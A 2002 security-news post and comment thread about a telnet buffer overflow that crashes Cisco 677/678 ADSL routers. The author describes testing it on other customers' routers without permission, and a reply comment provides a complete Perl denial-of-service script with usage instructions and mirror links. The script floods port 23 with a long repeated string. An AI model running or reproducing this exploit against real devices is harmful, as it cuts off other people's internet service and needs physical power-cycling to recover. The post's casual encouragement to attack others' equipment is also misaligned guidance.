biatch&dawg Custom Clothing

Featured Slideshow

Cisco 677/678 Telnet Overflow Bug

Submitted by hitbsecnews on Thu, 2002-05-09 01:54

It was a warm night and I was coding and listening to some tecno music trying to overflow my BSD mashine. But then I put the wrong IP into my script and my ADSL router lost the Internet connection. So I start to wonder why and begin looking into the code... I found out that I have overflowed the telnet server in my adsl router. After that I got online and start chatting with others with same ISP and same Cisco ADSL-router...and their route died too when I use there IP. So I send the code to a friend and ask him to do the same...



On every router with the Telnet server open the router's ping time got really high and some of them died and have to be powercycled. Please note: So far cisco and the ISP have not done anything about this problem...

To test it: try with the LAN_IP and WAN_IP it works best on LAN_IP side ;) The protection is: close your Telnet server in the router. Thats All!

-DNV Email: dnv[at]dhbit.ca

L33tdawg: Incidentally, several weeks ago, I found that a similar problem exsists with my Lucent Cell Pipe 50AS ADSL modem and I suspect with all CellPipes as well, although I haven't tested this, so don't take my word for it -- go forth and play! :)

Source: 
Tags: 
Security

 

2 comments for 'Cisco 677/678 Telnet Overflow Bug'

Submitted by SecNews Guest on Sun, 2002-06-16 05:22

> plz tell me how to do this AND can u plz tell me the code PLZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

-------------

Here is the code:

running:

perl cisco677.pl -s [IP on Ciscorouter]

--------------------cisco677.pl------------------

#!/usr/bin/perl

# close your Cisco 677 up on the Telnet server!

# Made for fun only! port 23 is the Telnet server port on the router

# By DNV THX to DKW-stuff

use IO::Socket;

use Getopt::Std;

getopts('s:', \%args);

if(!defined($args{s})){&usage; }

$serv = $args{s};

$foo = "?????????????????a~ %%%%%XX%%%%%"; $number = 30000;

$data .= $foo x $number; $EOL="\015\012";

$remote = IO::Socket::INET->new(

Proto => "tcp",

PeerAddr => $args{s},

PeerPort => "(23)",

) || die("No Telnet server here! on $args{s}\n");

$remote->autoflush(1);

print $remote "$data". $EOL;

while (){ print }

print("\nPackets Sent\n");

sub usage {die("\n$0 -s \n\n");}

------------------------------------------------------

mirror:

http://webtronics.dk/telnetbug.txt

http://packetstormsecurity.org/0204-exploits/cisco677.pl